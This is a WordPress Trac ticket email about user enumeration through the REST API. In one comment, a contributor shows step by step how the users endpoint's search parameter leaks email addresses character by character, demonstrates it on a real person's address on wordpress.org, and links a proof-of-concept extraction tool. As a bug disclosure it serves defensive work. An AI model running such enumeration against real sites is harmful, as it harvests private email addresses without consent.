[wp-trac] [WordPress Trac] #53784: Limiting user enumeration through the REST API

[WordPress Trac]

#53784: Limiting user enumeration through the REST API
--------------------------+-----------------------------
 Reporter:  ehtis         |       Owner:  (none)
     Type:  defect (bug)  |      Status:  assigned
 Priority:  normal        |   Milestone:  Future Release
Component:  Users         |     Version:
 Severity:  normal        |  Resolution:
 Keywords:  needs-patch   |     Focuses:  rest-api
--------------------------+-----------------------------

Comment (by waike):

 Related issue: Using the `search` parameter on `/wp-json/wp/v2/users`,
 it's possible to extract user email addresses one character at a time,
 because the `search` parameter is matched against users' email fields.


 {{{
 https://wordpress.org/wp-json/wp/v2/users?search=m@ottodestruct.com     ->
 no results
 https://wordpress.org/wp-json/wp/v2/users?search=n@ottodestruct.com     ->
 no results
 https://wordpress.org/wp-json/wp/v2/users?search=o@ottodestruct.com     ->
 1 result
 (...)
 https://wordpress.org/wp-json/wp/v2/users?search=mtto@ottodestruct.com  ->
 no results
 https://wordpress.org/wp-json/wp/v2/users?search=ntto@ottodestruct.com  ->
 no results
 https://wordpress.org/wp-json/wp/v2/users?search=otto@ottodestruct.com  ->
 1 result
 }}}

 I wrote a quick proof-of-concept tool to automate this process.

 Link: https://github.com/JeppW/WordPress-Email-Extractor

-- 
Ticket URL: <https://core.trac.wordpress.org/ticket/53784#comment:2>
WordPress Trac <https://core.trac.wordpress.org/>
WordPress publishing platform